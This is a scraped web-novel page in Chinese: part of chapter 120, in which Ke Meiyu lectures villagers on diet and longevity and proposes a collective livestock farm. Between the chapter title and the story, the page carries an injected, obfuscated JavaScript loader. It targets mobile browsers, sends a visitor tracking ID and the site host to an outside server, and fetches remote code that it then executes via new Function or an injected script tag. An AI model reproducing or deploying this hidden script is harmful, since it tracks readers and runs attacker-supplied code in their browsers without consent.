第一百二十章 她敢说,他们就敢信(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
老人们带着儿孙搬着马扎,坐满了柯家的院子。
柯美虞站在屋檐下,轻咳一声,“我跟我哥哥们还有两个多月就要去省城上学去了。落凤村是我们的根,我们自己好了,也想拉巴下大家伙儿!”
她只说了一句,哥哥们就齐声叫好,掌声吧唧吧唧拍得极为响亮。
其余的也莫名激动地跟着又喊又拍。
柯美虞气势更足,双手一压,众人便消了声,“所以从今天开始,爷爷奶奶叔伯婶娘们,就跟我爷奶他们一起学习长寿的秘诀。”
“咱们组织发展得很快,外面一天一个模样,您们担惊受怕、辛苦受累了一辈子,如今看到了新夏华成立,更不该错过美好新生活的到来!”
“多活个三五十年,你们就能走出这个小山村,去京都看升国旗仪式,看咱们夏华的大好河山……”
柯美虞给大家畅想一下。
他们便不由自主地跟上她的话语,脑海里生动地浮现出来。
老头老太太都激动地满脸通红。
可不是嘛,他们这一辈子是最苦的了,战争、灾害、病疫等等,每一个都带走了无数的生命。
能够活下来的人,真得是堆积了无数的幸运!
品尝过苦的滋味,他们比别人更贪食香甜。
“长寿其实不难,只要大家伙平日里多上点心,那就轻而易举成为老寿星!”
柯美虞给大家灌输养生的意识。
现在大家伙儿生活过得清贫,但是他们也有能改善的地方。
像是饮食,他们背靠着连绵不绝的大山,有着极为丰富的食物来源,比城里和其他村落的人更占据优势。
只是他们并没有充分利用起来。
合理的饮食结构,可以提供给机体种类齐全、数量充足、比例合适的能量和营养,与有机体的需要保持平衡,从而达到合理营养、促进健康、预防疾病的膳食!
像是饮食种类和数量上,村民们就束手无策了。他们节省惯了,家里日常开销全来自平日里的辛苦劳作,能少吃点就少吃点。
多了他们就挨不过下次发粮食了。
柯美虞针对谷物、豆类和坚果、动物类、蔬菜水果和菌藻类、纯能量类这五个大方面做了详细的规划。
家家户户不缺乏谷类、豆类和蔬菜,山上坚果、菌菇类也丰富,主要是动物性食品、好品种的水果以及油、糖、酒这样的纯能量类的东西,几乎是跟钱票划等号。
饮食结构得不到调整和完善,长寿便是一句空谈了。
柯美虞看向特邀嘉宾村长、村支书和队长大伯,说到:“叔,大爷,后山是挺危险的,藏匿了不少凶禽猛兽,但是,您们难道没想过利用一些不平整的荒地,置办农场吗?”
“组织是不允许个人大规模养殖,但是很多公社联合办起了养殖场。咱们自家能够得到充足的鸡鱼蛋肉,日子宽裕,让娃们接受更好的教育,还能为国家创收,不拖组织的后腿,一举多得!”
村长苦着脸,“闺女呐,不是叔想不到,而是很多人都想要学人家办养殖场,但是没有几个能成功的。一个鸡瘟、猪瘟,就将大家伙的心血全打了水漂。”
柯美虞挑眉看向抱胸瞧热闹的哥哥们,“哥哥们,你们怎么看?”